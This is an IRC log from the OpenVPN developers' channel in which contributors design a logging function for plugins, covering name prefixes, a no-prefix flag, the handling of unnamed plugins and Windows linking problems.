dazo is back 10:02 <@dazo> d12fk: the parser stuff ... logwatch is pretty common in the RHEL/Fedora world (including clones) ... and it needs a major overhaul with the 2.3 release, it's misinterpreting a lot of things due to IPv6 patches and some other stuff too 10:02 <@d12fk> so, you're rather looking for specific line, then filtering out specific ones, right 10:02 <@dazo> and logwatch can then be taught to ignore plugin log lines by default (to avoid noise) and pick out important messages, f.ex. from auth-pam 10:03 <@dazo> correct, that's how logwatch works ... it's some perlish config files with a lot of regexp 10:04 <@dazo> an example from a CentOS 5 box ... http://www.fpaste.org/EA44/ 10:05 <@d12fk> i'm reluctant because such a PLUGIN: prefix would actually harm the use for us. so, expecting others to expect the same 10:06 <@d12fk> the PLOG_DEBUG ones will have the PLUGIN: prefix btw 10:06 <@dazo> d12fk: that's why I'm thinking the log API should do append that ... nothing the plug-ins itself 10:06 <@d12fk> ^ err scratch that 10:06 <@dazo> and as you can chain plug-ins, separating them becomes important too 10:07 <@dazo> There are a few ways how to do it programmatically 10:07 <@d12fk> but wouldnt the plugin itself report the name if it cares to put out recognizable lines 10:07 <@dazo> well, you know developers .... some would, some wouldn't 10:07 <@dazo> or rather, most probably wouldn't .... 10:09 <@d12fk> how about adding it per default and providing PLOG_NOPREFIX for those who need a clean line? 10:10 <@d12fk> but shouldnt M_NOIPREFIX be the default then? 10:10 <@dazo> The quickest and probably dirtiest approach is a simple macro .... the C function may be called x_plugin_log() which takes a prefix argument .... and the macro is something like: #define plugin_log(flags, format, logdata...) x_plugin_log(__FILE__, flags, format, ## logdata); 10:11 <@dazo> I would say even with PLOG_NOPREFIX, this prefix would be mandatory anyway ... the M_NOPREFIX is to remove time stamps and such, iirc 10:12 <@dazo> if the plug-in really needs to write something in clear text, it would most likely be to stdout ... which you could use printf() anyway 10:13 <@d12fk> well, you can't remove the timestamps from the plugin currently (didnt make sense to me) so the PLOG_ constant is free for use 10:13 <@d12fk> our utm plugin writes to the log to report stuff for reporting 10:14 <@dazo> I don't see the purpose of hiding timestamps in general, esp. when logging to file ... so I'm not going fighting to keep a NOPREFIX feature :) 10:16 <@d12fk> so to recap: 10:16 <@d12fk> a) prefix with "PLUGIN: " by default 10:17 <@d12fk> b) add PLOG_NOPREFIX to get around the prefix 10:17 <@d12fk> c) use wrapper macro to make adding the prefix cheaper 10:18 <@d12fk> now to the finding out the plugin name part 10:18 <@d12fk> no idea how to do it 10:18 <@dazo> well, "get around the prefix" ... you mean skipping ("PLUGIN: %s", prefix) = 10:18 <@dazo> ? 10:18 <@d12fk> yes 10:19 <@dazo> Not sure I like it in general ... and it was kind of the opposite of what I said ;-) 10:20 <@dazo> I meant that PLOG_NOPREFIX would drop the timestamp ... which I found a useless feature to start with .... iirc, that is only used in OpenVPN when writing to stdout at startup and such 10:20 <@dazo> (before log files are opened) 10:21 <@d12fk> PLOG_NOPREFIX would drop the plugin prefix, not the timestamp 10:21 <@dazo> anyway ... if you mean that this is a needed feature to skip the "PLUGIN: %s" prefix ... then go ahead, enabled by default is better anyway 10:21 <@dazo> why would that be needed? 10:21 <@d12fk> we need it 10:22 <@dazo> I was of the opinion that timestamp could be dropped (which M_NOPREFIX does), not the PLUGIN: stuff 10:22 <@d12fk> long time ago it was decided that event be logged to the daemon logs in a astaro specific format 10:22 <@dazo> care to explain more? 10:22 <@dazo> hmm ... okay .... 10:23 <@d12fk> has a terrible format and loggin all events to an event log might be a better idea, but luckily i don't have to defend the way it is =) 10:23 <@d12fk> so i'm thinking if we need it, might there be someone else who needs it but doesn't care/have the superpowers to patch ovpn 10:24 <@d12fk> other than that no other reason 10:24 <@dazo> okay, I'll let this pass for now ... but I'm not overly happy to skip the PLUGIN: part ... as you build your own openvpn binaries, I presume, so I'd generally say you could remove that for your special astaro builds 10:24 <@dazo> but that the upstream openvpn enforces PLUGIN: %s ... 10:25 <@dazo> would that cause troubles? 10:25 <@d12fk> not for us 10:25 <@dazo> well, the v3 API is so fresh, that we can allow to dictate some conditions at this point :) 10:26 <@d12fk> the function is not related to any api version 10:26 <@dazo> true enough, but it' 10:26 <@dazo> it's arriving together with the v3 API, that's what I meant 10:26 <@d12fk> ah ok 10:26 <@d12fk> is v3 new in 2.3 10:26 <@dazo> yes 10:27 <@d12fk> didn't know, the patches have been merged ages ago 10:27 <@d12fk> so will you add the macro or should i post a v2 10:27 <@dazo> it was in the old allmerged branch while we were cooking together 2.2 ... but it was at some point decided to not add v3 API in 2.2, to not overload it with new functions 10:27 <@dazo> then over to the c) 10:28 <@dazo> the macro stuff ... 10:28 <@d12fk> a yeah and the finding out the plugin name part =) 10:28 <@dazo> tbh ... I'm not too happy about that approach, it's quick'n'dirty and will work ... but it will give a full path to the source file .... so if your plug-in is consisting of more C files, the C file will change 10:30 <@d12fk> ah i overread to __FILE__ part 10:30 <@dazo> you could quickly do some "string right search" and look for / ... 10:30 <@d12fk> or ovpn could set a global var before calling the hooks 10:30 <@dazo> but ... I'm wondering if a cleaner approach would be to have some kind of "init" phase ... where a plug-in variable is set 10:31 <@dazo> heh 10:31 <@dazo> it would need to be plug-in specific ... as you can chain plug-ins 10:31 <@d12fk> don't get the chaining part 10:31 <@dazo> but it could be a simple function in openvpn-plugin.h .... 10:31 <@dazo> you can use --plugin more times in a config, loading more plugins 10:32 <@d12fk> yes just set the global within the loop 10:32 <@d12fk> for (i = 0; i < pc->n; ++i) 10:32 <@d12fk> { 10:32 <@d12fk> plugin_open_item (&pc->plugins[i], 10:33 <@d12fk> if plugin_open_item() takes care it'll be fine 10:34 <@d12fk> same for plugin_call_item() 10:34 <@d12fk> and prob. plugin_close_item() 10:34 <@dazo> A quick and dirty suggestion ... for a cleaner init phase: http://www.fpaste.org/36jV/ 10:34 <@dazo> yeah 10:34 <@dazo> or! 10:35 <@dazo> no, that wouldn't work 10:35 <@dazo> as you don't have access to the plugin struct from the plugin.c:{,x_}plugin_log() function 10:36 * dazo considered setting the plugin name via the open_v3() return struct 10:37 <@d12fk> i dont think you paste will work either 10:38 <@d12fk> or maybe you just need to elaborate 10:38 <@dazo> This is not so sketchy .... http://www.fpaste.org/tpBd/ 10:39 <@d12fk> a lot of cpu cycles, just for lazy log parsers, sniff =) 10:40 <@dazo> yeah, it is 10:40 <@dazo> this could however, cause some pain if including this file more times in the plug-in 10:40 <@d12fk> still dont get the whole story 10:40 <@d12fk> the global var, in which module is it stored? 10:40 <@dazo> inside the plug-in itself 10:41 <@dazo> this is what I thought could go into openvpn-plugin.h 10:41 <@d12fk> so, you want to add that to openvpn-plugin.h? 10:42 <@d12fk> _plugin_name should be static then or you get symbol conflicts dont you? 10:42 <@dazo> that's my initial thought ... but it's most probably going to be trickier than that :) 10:42 <@dazo> yeah, it should 10:43 <@d12fk> if we force plugin authors to provide a name it could easyly be another arg to the plugin_log function 10:43 <@dazo> actually it could work, if _plugin_name is static and also the plugin_log{,_init}() functions 10:43 <@d12fk> les mindf*ck and more style 10:44 <@dazo> d12fk: agreed 10:44 <@d12fk> but then it's not really enforced because of "" 10:44 <@d12fk> so the plugin name must come from within ovpn or it's worthless 10:45 <@d12fk> putting aside ppl patching code live 10:45 <@dazo> good point, actually 10:46 <@dazo> d12fk: the best would be to be able to grab the struct plugin pointer from within the logging code in openvpn 10:46 <@dazo> you could just grab the so_pathname member 10:46 <@d12fk> that's what i meant 10:47 <@d12fk> feeding it into a global var in plugin.o 10:47 <@d12fk> err static var 10:48 <@dazo> but how does plugin_log() know which plug-in is writing the log? 10:48 <@d12fk> currently they never run in parallel 10:48 <@dazo> ehm ... the plug-in can fork out a thread 10:48 <@d12fk> oh, that will mess up the log then 10:49 <@d12fk> don't thin the code there is thread safe 10:49 <@d12fk> +k 10:49 <@dazo> I think x_msg() have some mutex avoiding that .... 10:49 <@dazo> (and if it doesn't, it should when we enable this plugin logging code) 10:50 <@dazo> both auth-pam and down-root does forks 10:50 <@d12fk> if they fork they cannot log, only if they thread 10:51 <@dazo> are you sure? they have access to eachothers memory segments, iirc .... and if not forking, you have pthread which definitely will give access to the same memory regions 10:52 <@dazo> in the moment the fork does exec() of some kind, then it looses that relation 10:52 <@dazo> but I'm passing memory pointers to a forked process in eurephia 10:52 <@dazo> for the concept of logging :) 10:55 <@d12fk> if you fork your in a new process, but you inherited the log fd, that probably why it works 10:56 <@d12fk> the forked ovpn will have the right name set and stay that way, because if stays in the plugin until the process died, i hope 10:56 <@dazo> well, I pass over a few structs to the forked process where one of the structs contain a pointer to a fd 10:59 <@dazo> eurephia loads a few other .so libs via dlopen()/dlsym() ... and the log code is in the main plugin, which got a global mutex to avoid collisions ... but the same struct containing the log info is passed further, including to the forked process ... 11:01 <@d12fk> a quick scan over x_msg didn't catch anything that would break with threading besides the radability of the log 11:02 <@dazo> yeah, I would expect that to be the only trouble 11:03 <@d12fk> same with forked processes actually 11:03 <@d12fk> so currently you have your own plugin log file? 11:04 <@dazo> d12fk: yeah, or the plug-in can write to stdout ... and I believe openvpn catches that 11:04 <@dazo> openvpn have some odd stdout/stderr redirect code 11:05 <@d12fk> so why add a plugin_log function at all then? 11:05 <@dazo> but it's only "enabled" in daemon mode if --log is used, iirc 11:05 <@d12fk> aha 11:05 <@dazo> it's behaviour is rather unpredictable some times 11:05 * d12fk sighs 11:06 <@d12fk> all this makes my brain hurt again =) 11:06 <@dazo> :) 11:07 <@d12fk> think we're back to the plugin providing it's name again 11:07 <@dazo> hmm ... what if.... 11:08 <@dazo> hmmm ...grmbl ... scratch that ... won't work, due to threading 11:08 <@d12fk> it must be stored in the thread or it wont work 11:09 <@dazo> we need some kind of even driven logging for plugins ... so the plugin signalises that "I have some log data!" ... and openvpn picks it up, tags it and writes it when it have cycles available 11:09 <@dazo> some kind of queue system ... which is kind what you kind of started on 11:09 <@d12fk> doesn't this go too far just for getting the plugin name right 11:09 <@dazo> hehehe 11:09 <@d12fk> it's not like it's a security feature 11:10 <@dazo> in short time perspective, yes 11:10 <@d12fk> running a plugin that tries to fool you is a bad idea 11:10 <@dazo> but I'm wondering ... we need at some point to start poking at threading openvpn ... getting ready for a log thread might not be a bad idea 11:10 <@d12fk> because it can 11:10 <@dazo> agreed 11:11 <@d12fk> so, how about a simple "PLUGIN: " prefix and leave the rest to the plugin itself 11:11 <@d12fk> if you get unrecogizable prefixed lines you at least know where to look for sinners 11:12 <@d12fk> ... and then make them confess 11:12 <@d12fk> =) 11:12 <@dazo> :) 11:12 <@dazo> I'm wondering ... could we enforce a macro to be set somehow? 11:13 <@dazo> that macro could contain the plugin name 11:13 <@d12fk> recall that plugins still can use x_msg directly 11:13 <@dazo> and the log function just applies that ... using the __FILE__ idea, just having something more static-ish 11:13 <@dazo> yeah, but if they do that ... then they're screwing openvpn anyway 11:14 <@d12fk> as much as when they fake/skip the plugin name 11:14 <@dazo> exactly 11:14 <@dazo> the prefix is just to help users/admins to spot wtf went wrong and where it happened 11:15 <@dazo> and if a plugin abuses the logging ... we could just make the user scream at the plug-in developer 11:15 <@d12fk> i live in a world where plugin writers are good people. unless they are evil of course, but then, lock the door, release the hounds, get dem .45 11:16 <@dazo> and would an evil plug-in write to log files? 11:16 <@d12fk> we'll never kow i guess 11:16 <@dazo> heh, true enough :) 11:17 <@d12fk> in the back of my mind i want to limit the place where plugins can be loaded from to a non writable area. 11:17 <@d12fk> because of all the implications you get with them 11:17 <@d12fk> it like if users coud load kernel modules at will 11:18 <@d12fk> gotta run now 11:18 <@dazo> okay ... another suggestion ... hopefully a middle way 11:18 <@dazo> http://www.fpaste.org/OGkP/ 11:18 <@d12fk> lets nail this wed. 11:19 <@dazo> this is for inclusion in openvpn-plugin.h ... if you want to use plugin_log() ... #define PLUGIN_NAME before including openvpn-plugin.h 11:19 <@dazo> ack ... let's think more tomorrow :) 12:55 -!- dazo is now known as dazo_afk 14:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:50 < plaisthos> d12fk: Yes, I really liked the new proxy api. In my case where telephone might switch from WiFI to mobile and back setting a static http-proxy guarantees one of these connections to fail 15:50 < plaisthos> .oO(at least if you have sane proxy ....) 19:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Aug 01 2012 01:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 02:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:49 <@d12fk> has jjk been seen lately? 03:22 <@cron2> dazo, d12fk: my, you have been busy yesterday...! 03:23 <@d12fk> and we're not even finished =) 04:23 -!- dazo_afk is now known as dazo 04:25 <@dazo> cron2: if you have any thoughts you want to share .... please share ;-) 04:27 <@dazo> d12fk: okay ... my last suggestion yesterday was this one ... http://www.fpaste.org/OGs6/ :) 04:28 <@dazo> which requires the plug-in developer to #define PLUGIN_NAME before including openvpn-plugins.h if the plugin wants to use a simpler logging function 04:29 <@dazo> (as we kind of concluded, evil plug-ins will anyway find ways to circumvent logging, and it might not even be plausible such plug-ins want to use log functions - unless it can be abused to do something else) 04:30 <@d12fk> i'd say leae to plugin name to the developer and just prepend the prefix. that way we limit the suspects responsible for a log line to an overseeable amout of code 04:31 <@d12fk> leae to == leave the 04:31 <@dazo> And as long as you anyway need the va_start()/va_end() things ... it wont add more CPU overhead ... this function might even be inlined by the compiler 04:31 <@dazo> Well, with that approach, 99% of all plug-ins won't care ... and it will be a support mess anyway 04:32 <@dazo> you need to have some kind of enforcement, to kindly guide them in the right direction ... and if they still want to abuse it ... they will use x_msg() directly 04:32 <@dazo> but that's another story ... plugin_log() is what we will export 04:32 <@cron2> dazo: getting isolated against "evil" plugins, and reliably get their name, is *hard* with dynamic linking the way it works. So I'm for "pick the least complicated approach" - and if that means "the plugin picks its name", so be it. 04:33 <@d12fk> it could even be s.th. like PREFIX ## PLUGIN_NAME ## format 04:33 <@dazo> cron2: yeah, that's where we ended yesterday ... ideally, the logging code in openvpn would have access to the struct plugin, where the .so name is available ... but with chained plug-ins, and plug-ins which can fork out threads/processes - it's close to impossible to fully close that 04:34 <@dazo> without much code overhead 04:34 <@cron2> dazo: and you can't enforce that anyway, unless you dynamically create per-plugin loggin functions and only pass *that* function pointer 04:34 <@cron2> if I'm an evil plugin, I can just copy your struct, modify entries, and have a different name reported - and to cover that, you need signing of the struct elements, and overhead++ 04:34 <@dazo> cron2: well, our "idea" was that the plugin would never know about the struct plugin .... but that's not possible with the current code base 04:34 <@d12fk> dazo: so, without PLUGIN_NAME ther will be no plugin_log()? 04:34 <@d12fk> is that the idea 04:35 <@dazo> d12fk: correct 04:35 * cron2 is not so adamant on that - having a flag bit "for some peculiar reasons, please do not log extra text" is acceptable 04:35 <@cron2> IMHO 04:36 <@d12fk> cron2: are you referring to PLOG_NOPREFIX? 04:36 <@dazo> cron2: I'd like to see a plugin-name somehow, to more easily help users/admins parsing log files ... esp. if more plug-ins are used ... so enforcing plug-in writers to identify themselves when doing logging, is kind of my goal 04:37 <@dazo> ahh, I might have misunderstood cron2's topic :) 04:37 <@d12fk> cd - 04:38 <@d12fk> oops wrong window =) 04:38 <@cron2> dazo: I'm fine with having that by-default, but I'm not adamant on enforcing the plugin-name if there are good reasons to not have it 04:38 <@cron2> we could just not document PLOG_NOPREFIX :) 04:38 <@dazo> eeewww! 04:39 <@cron2> works for all the rest of the interesting options James doesn't want us to use, no? ;-) 04:39 <@dazo> hehehe 04:39 <@dazo> true enough :) 04:39 <@d12fk> well there is not plugin writers docs besides in the header file anyway 04:39 <@d12fk> is there? 04:40 <@dazo> that's right ... but the openvpn-plugins.h is fairly well documented 04:40 <@dazo> I mean, I wrote eurephia by only looking at that document and I figured out everything instantly 04:40 <@d12fk> PLOG_NOPREFIX would be in there as well, so that's it with keeping it 3l337 04:42 <@dazo> cron2: I kind of agree with NOPREFIX ... but I'm not able to see many cases where a plug-in wants to write log data to openvpn without wanting to identify itself ... that sounds morel ike the cases where the plugin should write its special formatted data to a separate file and not fill any system log with this data 04:43 <@dazo> cron2: d12fk has one use case, which is only due to legacy reaons 04:43 <@dazo> and thats kind of the situations you end up with, without any type of restrictions 04:44 <@cron2> dazo: well, legacy cases are one of the reasons, and I'm not creative enough today to think up others 04:44 <@d12fk> well users might also expect the "special" log entries to be found where the rest happens, don't know 04:44 <@cron2> but legacy reasons are good enough to me 04:44 <@dazo> like it or not ... developers are often lazy bastards which loves to take shortcuts ... "Oh look! It works! I'm done for now, I'll fix the next week" ... except next week there's something else on the plate ;-) 04:44 <@cron2> dazo: I'm well aware of that - but using NOPREFIX would require conscious extra effort, so "lazy developers" would not do that 04:45 <@d12fk> you'll still see the prefix by default, the lazy one will not have NOPREFIX 04:45 <@d12fk> so you know it's a line from _a_ plugin 04:45 <@cron2> my point :) 04:45 <@d12fk> good enough 04:45 <@dazo> cron2: I dunno how d12fk plugin has done the logging earlier ... maybe used x_msg() directly? ... however, this is a brand new logging function for plug-ins, so that's kind of why I'd like to raise the bar a bit for using it 04:46 <@d12fk> included error.h and used the msg macro 04:46 <@d12fk> not clean but worked 04:46 <@cron2> isn't "by default it does all these nice things" good enough? 04:47 <@cron2> what I want to avoid is that people have to run locally-patched versions to get functionality that we think "they should not be using!" 04:47 <@dazo> that's why I don't see the purpose of give any reasons to "nah, the prefix is stupid, I'll use NOPREFIX" attitude ... they really need that, include error.h and use msg() 04:47 <@dazo> but then they know how and why they do it .... the "normal" plug-in writer would in most cases be more than happy with plugin_log() 04:48 <@cron2> well - we can do that, but then we need to freeze the msg() API because it becomes part of the plugin API 04:49 <@d12fk> not really as such activity would be considered unsupported 04:49 <@dazo> that's my point ... if they circumvent things just for the case of NOPREFIX, they should know what they do ... we don't guarantee ABI stability over non-plugin API 04:49 <@d12fk> error.h is private to openvpn 04:49 <@d12fk> i'll rather patch the plugin header to not add the prefix stuff, that's cleaner 04:49 <@dazo> *if* there is a broad demand to have absolutely no log prefix ... we can consider later on to implement PLOG_RAWLINE 04:50 <@dazo> but I'd vote for not giving users that feature until we know it's a broad demand for it 04:50 <@cron2> oh well. I'm not strongly objecting to anything today, just voiced my few cents, but will go along with whatever you two decide - as long as it doesn't complicate the code too much, or add weird system dependencies 04:50 <@dazo> agreed :) 04:52 <@dazo> d12fk: did you get any wiser now? ;-) 04:52 <@d12fk> one can still #define PLUGIN_NAME "" to circumvent measures 04:52 <@d12fk> so one has half the rope already 04:52 <@dazo> d12fk: well, we can't stop people shooting themselves in the foot ... or the the openvpn logging code could just don't log anything in this case 04:53 <@dazo> kind of like: if plugname == "" then return 04:53 <@d12fk> then we don't need the #ifdef PLUGIN_NAME 04:54 <@d12fk> ah probably the preprocesser will bail out then 04:54 <@dazo> nah, it wouldn't compile ... as PLUGIN_NAME isn't defined ... which is used in the x_plugin_log() 04:54 <@dazo> yeah 04:54 <@d12fk> i'll concat them in the preproc 04:54 <@dazo> fair enough, that'll work 04:55 <@dazo> <d12fk> it could even be s.th. like PREFIX ## PLUGIN_NAME ## format 04:55 <@dazo> that's this sugguestion? ^ 04:55 <@d12fk> jepp 04:55 <@dazo> fine with me :) 04:55 <@d12fk> COLON is missing, but yeah 04:55 <@dazo> :) 04:55 * dazo is not a strict and pedantic preproc ;-) 04:56 <@d12fk> PLUGIN auth-pam: <log message> 04:56 <@dazo> oh ... maybe you'll disagree with that anyway after this dicsussion :-P 04:56 <@dazo> yeah, that looks nice! 04:56 <@d12fk> good 04:56 <@d12fk> i'll hack it then 04:57 <@dazo> cool! ... and we'll trick cron2 to ACK it, so that we can blame him afterwords for all the shortcomings :-P 04:58 <@d12fk> sounds like a plan =) 04:58 <@cron2> worked before, yeah... :) 04:58 <@dazo> ;-) 05:00 <@d12fk> hm i wonder if the instance prefix should be added the such log lines then probably not 05:00 <@dazo> I didn't quite catch that thought ...... 05:01 <@d12fk> look at msg_get_prefix() 05:03 <@dazo> ahh ... hmmm .... well, I see the 'TODO' comment a bit higher up ... and it kind of scares me a bit 05:04 <@d12fk> yeah just stumbled over it as well 05:04 <@d12fk> so the answer is no =) 05:04 <@dazo> agreed :) 05:04 <@d12fk> basically it boils down to "CN/IP" 05:05 <@d12fk> check you log and you'll see during connects 05:05 <@d12fk> multi_instance_string() is where it's built 05:05 <@dazo> d12fk: one thing ... could you please try to chop this patch effort into some smaller pieces (more commits) ... then we can ack and apply what's good and rework if something needs to be reworked more easier 05:06 <@d12fk> isn't it small enough already? 05:06 <@d12fk> don't expect it got any bigger 05:06 <@dazo> d12fk: well, maybe this last effort will be smaller in the end ... 05:07 <@dazo> d12fk: when you add the x_msg_va() stuff .. that would naturally be a separate commit 05:07 <@d12fk> ok 05:08 <@dazo> just easier if we need to bisect later on 05:09 <@d12fk> as if :-P 05:09 <@dazo> hehehe 05:17 <@d12fk> ok, the prproc concat idea is not feasable in a clean way, no config.h, no HAVE_CPP_VARARG_MACRO_ISO 05:19 <@dazo> uhm .... what about: x_plugin_log("PLUGIN" PLUGIN_NAME,.......) 05:20 <@d12fk> only works with string literals, can't concat the format 05:20 <@dazo> as PLUGIN_NAME is a macro ... the result would be "PLUGIN " "auth-pam" .... which should work 05:21 <@d12fk> but thats as good as "PLUGIN %s: %s", name, format 05:21 <@dazo> duh! 05:21 <@dazo> yeah, true 05:21 <@d12fk> so i'll just extend the api with a name param and do it runtime 05:21 <@dazo> yeah, makes sense 05:22 <@d12fk> plugin_log (openvpn_plugin_log_flags_t flags, const char *plugin_name, const char *fmt, ...) 05:23 <@d12fk> [...] 05:23 <@d12fk> if (!plugin_name || plugin_name[0] == '\0') return; 05:24 <@d12fk> maybe log a warning when plugin debug is anbaled? 05:24 <@d12fk> enabled... tippgicht sorry 05:31 <@d12fk> aaah the cpu cycles!!1! 05:38 <@d12fk> logging is a waste of such anyways, so do-not-worry mode activated =) 05:39 <@dazo> heh :) 05:41 <@dazo> d12fk: if having a warning on empty plug-in name, I'd prefer: "You lousy plug-in writer! Trying to cheat, do you? Get out of here!" 05:41 <@d12fk> done =) 05:42 <@dazo> heh 05:44 <@d12fk> log message from unnamed plugin suppressed 05:44 <@d12fk> fix it a bit =) 05:45 <@d12fk> or rather "suppressed log message from unnamed plugin"? 05:45 <@d12fk> native speaker to the rescue 05:45 <@dazo> that'll probably be andj, krzee or ecrist :) 05:46 <@dazo> "log messaged from unnamed plugin ignored" 05:46 <@dazo> suppressed sounds so nice .... 05:47 <@d12fk> andj speaks dutch. down to 2 05:48 <@dazo> I think he grew up in the UK, iirc 05:48 <@d12fk> ah ok 05:49 <@d12fk> "PLUGIN: suppressed log message from plugin with unknown name" 05:49 <@d12fk> fits well to the other prose 05:50 <@dazo> works for me 05:50 <@dazo> d12fk: it's almost tempting to suggest to make this M_FATAL ....... :-P 05:51 <@d12fk> your're so german :-P 05:51 <@dazo> hahahaha 05:51 <@d12fk> das ist neine stackenblochen! 05:51 <@dazo> so my wife tells me too! 05:52 <@d12fk> http://www.youtube.com/watch?v=zqAdxN1IWQQ 05:52 <@vpnHelper> Title: Stackenblochen - YouTube (at www.youtube.com) 05:53 <@dazo> ROFL 06:20 <@vpnHelper> RSS Update - tickets: #223: OpenVPN 2.3-alpha3 produces DCHP ACK flood on Win 7 64bit <https://community.openvpn.net/openvpn/ticket/223> 06:21 <@dazo> ugh 06:40 <@d12fk> ha patches got out at 1337 o'clock, hope they compile, forgot to test... =) 06:43 < plaisthos> d12fk: You optimized the old "It compiles? Ship it!" 06:46 <@d12fk> indeed! =) 06:51 <@d12fk> damn, of course not... 07:06 <@d12fk> ok good now: 07:06 <@d12fk> 2012:08:01-14:04:21 hhund_195 openvpn[8744]: PLUGIN utm: warning test 1 07:06 <@d12fk> 2012:08:01-14:04:21 hhund_195 openvpn[8744]: PLUGIN: suppressed log message from plugin with unknown name 07:06 <@d12fk> 2012:08:01-14:04:21 hhund_195 openvpn[8744]: PLUGIN utm: debug test 1 07:06 <@d12fk> the latter two are only displayed with --verb >= 7 07:11 <@cron2> nice 07:12 <@ecrist> what did I do? 07:13 <@cron2> huh, so now we wend from DHCP NAK flood to DHCP ACK flood? This does not sound like progress to me :-( 07:13 <@d12fk> at least it's more positive than before =) 07:14 <@ecrist> for sure. as an example, when requesting sex from the wife, I'd much prefer an ACK flood than the normal NACK flood 07:20 <@d12fk> i LOLed when I imagined an ACK flood 07:20 * plaisthos does not support tap :D 07:21 <@d12fk> on windows both is call tap, it's just the driver name not reflecting the mode of operation 07:21 < plaisthos> I know 07:22 < plaisthos> I could emuleate tap with tun too, but I figured that someone who really about the feature should do the work 07:38 <@cron2> it shouldn't be that hard *on the android client*, as lots of special cases (bridging tap-to-eth0, server side, etc.) won't be needed 07:39 < plaisthos> yes 07:39 <@cron2> otoh, there's little reason to use tap on a mobile endpoint 07:39 < plaisthos> apart from the big bad reason: compatibility 07:39 <@cron2> don't do that, I want to use your app to convince one of my customes to move their openvpn installation from tap to tun :-) 07:40 <@cron2> "we can't do android openvpn with tap, so the setup needs to be changed!" 07:40 < plaisthos> :) 07:41 < plaisthos> yeah in the comments of the app and per mail I got a few people saying they changed their (mostly private) setup from tun to tap and all worked great 07:46 < plaisthos> cron2: no danger, more interesting thing are on my todo list too ;) 07:48 <@cron2> .oO(socket.c *d&r*) 07:49 <@d12fk> and I thought alon is on vacation... 07:52 <@cron2> d12fk: omg, he is on vacation and has time to comment on the list again! 07:55 < plaisthos> cron2: yeah. socket.c is complicated :) 08:20 <@d12fk> meh 08:21 <@d12fk> $ i686-w64-mingw32-gcc -shared -o utm.dll utm.c -Wl,--out-implib,utm_dll.a 08:21 <@d12fk> Creating library file: utm_dll.a 08:21 <@d12fk> /tmp/cc0nHwyp.o:utm.c:(.text+0x1f): undefined reference to `_plugin_log' 08:21 <@d12fk> collect2: ld returned 1 exit status 08:25 <@dazo> d12fk: so we're back at having to extend one of the struct used in _open_v3() ? with a pointer to the log function? 08:28 <@d12fk> looks like it. as alon is as snippy as always i'm poking around the net for further info 08:28 <@dazo> hmmmm 08:29 * dazo now understands why Alon didn't flog his initial suggestion of a function pointer via the structs passed via openvpn_plugin_open_v3() 08:35 <@d12fk> there might still be a way 08:35 <@dazo> :) 08:35 <@d12fk> ... to get it working without a function pointer 08:35 <@d12fk> =) 08:35 <@dazo> The easiest and cleanest approach wins :) 08:36 <@d12fk> you can resolve the symbol at runtime 08:36 <@d12fk> PE in the way, again *sigh* 08:40 <@dazo> I'm sorry to say it but when Alon just say "you need function pointer", I somehow believe he has tried quite some attempts to end up with that conclusion .... but if you can figure out a non-hacky way, that's great!! But if you can't, I won't be that much surprised 08:49 <@d12fk> imho his output always sounds final, that makes him so hard to work with 08:50 <@dazo> agreed ... and you don't know why or how he ended up with that conclusion 09:32 <@d12fk> ok got it working as a prototype 09:33 <@d12fk> needs a macro though 09:34 <@d12fk> ah and there we are at the vararg macros and the missing config.h again 09:35 <@dazo> heh 09:35 <@d12fk> so, inline and plugin_log_va it is 09:35 <@d12fk> the universe gives me a hard time again 09:35 <@dazo> static inline, I'd presume then ... to avoid include conflicts 09:36 <@dazo> d12fk: if you end up with a function in openvpn-plugin.h ... can we please consider #define PLUGIN_NAME again .... it makes the use of plugin_log() simpler 09:37 <@d12fk> it's only there for windows 09:37 <@d12fk> you'll see tomorrow.. if everything works out 09:37 <@dazo> okay :) 09:54 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 09:54 < reiffert> Hey guys 09:55 <@dazo> :) 10:10 <@d12fk> yeah got it working as the semi final version too 10:11 <@d12fk> here: http://pastebin.com/FmvXuasb 10:11 <@d12fk> patch tomorrow 10:12 <@d12fk> pls don't mind the old prototype for plugin_log() 10:31 <@dazo> d12fk: hmmm ... I understand why this can work .... but I'd say a function pointer solution would be way cleaner ... this is a bit hacky for my taste, esp. when it is a nasty hack to get around Windows "limitations" 10:51 <@dazo> d12fk: my contra suggestion .... which should even be fairly CPU cycle conservative ... http://pastebin.com/ZajbrrhZ 11:09 <+krzee> hey reif! 11:12 < plaisthos> i sent my first patches of the socket.c cleanup to the list 11:13 < plaisthos> it is not much but a beginning :) 11:13 <@dazo> plaisthos: wonderful!!!! 11:13 * cron2 has NOO time today, but tomorrow is good ("children and wife are at grandma, I'm free to code!") :) 11:13 <@dazo> d12fk: okay ... fixed a few obvious typos I spotted before closing it ... http://pastebin.com/2j4zeQDd 11:16 < plaisthos> cron2: no hurry 11:17 * dazo now considers to fork out master -> beta/2.3 ... so we can start pulling 2.4 stuff into master 11:30 <@cron2> dazo: if you have some time, it would be good to hunt your blocker 11:30 <@dazo> cron2: I'm in the last bit of one release these days ... need to have that completed by tomorrow ... otherwise Deutche Börse might get angry at us .... 11:31 <@cron2> heh 11:32 <@dazo> cron2: then I have another release in the pipe (major release, first one is a minor release) ... after that all these releases, I hopefully got a little bit slack 11:32 <+krzee> oh my, socket.c cleanup? you must be a brave man! 11:33 <@dazo> oh, he is!! 11:35 < reiffert> :) 13:41 <@andj> evening 13:41 <@andj> You needed a Dutch speaker? 13:43 <@andj> ah wait, a native english speaker :) 13:44 <@dazo> andj: yeah, we were discussing the proper sentence to annoy plug-in developers who were lazy :P 13:44 <@andj> ah, nice, stackenblochen 13:45 <@dazo> hehe 13:45 * andj is a little behind on his IRC/e-mail 13:45 <@dazo> andj: btw ... if you have time, energy and interest to share some thoughts regarding a logging API for plug-ins, feel free to share your ideas 13:45 <@andj> dazo: O' 13:46 <@andj> mistype 13:46 <@andj> dazo: I've seen the messages, but haven't had the time for it yet... I'm pretty confident you guys are on the right track though :) 13:46 <@dazo> sounds good :) 13:47 <@andj> I like the pedantic " name[0] == '\0" though :) 13:48 <@dazo> \o/ :) 13:57 <+krzee> he knows "pedantic" yet im the english speaker 13:57 <+krzee> heheh 13:58 <+krzee> what is the current sentence? 13:58 